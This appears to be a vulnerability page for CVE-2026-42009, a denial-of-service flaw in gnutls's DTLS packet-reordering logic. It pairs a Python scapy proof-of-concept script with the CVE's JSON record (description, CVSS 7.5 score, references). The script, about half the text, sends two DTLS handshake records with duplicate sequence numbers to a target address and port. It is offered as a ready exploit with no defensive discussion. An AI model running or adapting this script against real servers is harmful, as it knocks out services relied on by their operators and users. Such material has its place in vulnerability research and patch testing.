CVE-2026-42009

# Proof of Concept for CVE-2026-42009 # This script demonstrates sending DTLS packets with duplicate sequence numbers to trigger the DoS. # Usage: python3 poc.py from scapy.all import * import struct def send_duplicate_dtls_packets(target_ip, target_port): # Define a duplicate sequence number seq_num = 0x000000000001 # DTLS Record Header: Content Type (1) + Version (2) + Epoch (2) + Sequence (6) + Length (2) # Simplified header for demonstration header_template = "!BHH" # Type, Version, Epoch # Packet 1 pkt1_header = struct.pack(header_template, 0x16, 0xFEFD, 0x0000) # Handshake, DTLS 1.2 pkt1_header += struct.pack("!Q", seq_num)[2:] # Take last 6 bytes for sequence pkt1_header += struct.pack("!H", 0x0000) # Length placeholder # Packet 2 with SAME sequence number pkt2_header = struct.pack(header_template, 0x16, 0xFEFD, 0x0000) pkt2_header += struct.pack("!Q", seq_num)[2:] # Duplicate sequence number pkt2_header += struct.pack("!H", 0x0000) # Send packets via UDP pkt1 = IP(dst=target_ip)/UDP(dport=target_port, sport=54321)/Raw(load=pkt1_header) pkt2 = IP(dst=target_ip)/UDP(dport=target_port, sport=54321)/Raw(load=pkt2_header) send(pkt1, verbose=0) send(pkt2, verbose=0) print(f"[+] Sent duplicate sequence packets to {target_ip}:{target_port}") if __name__ == "__main__": send_duplicate_dtls_packets("192.168.1.10", 4433)

{"cve": {"id": "CVE-2026-42009", "sourceIdentifier": "[email protected]", "published": "2026-05-18T13:16:32.707", "lastModified": "2026-05-18T19:32:38.777", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-475"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-42009", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "source": "[email protected]"}]}}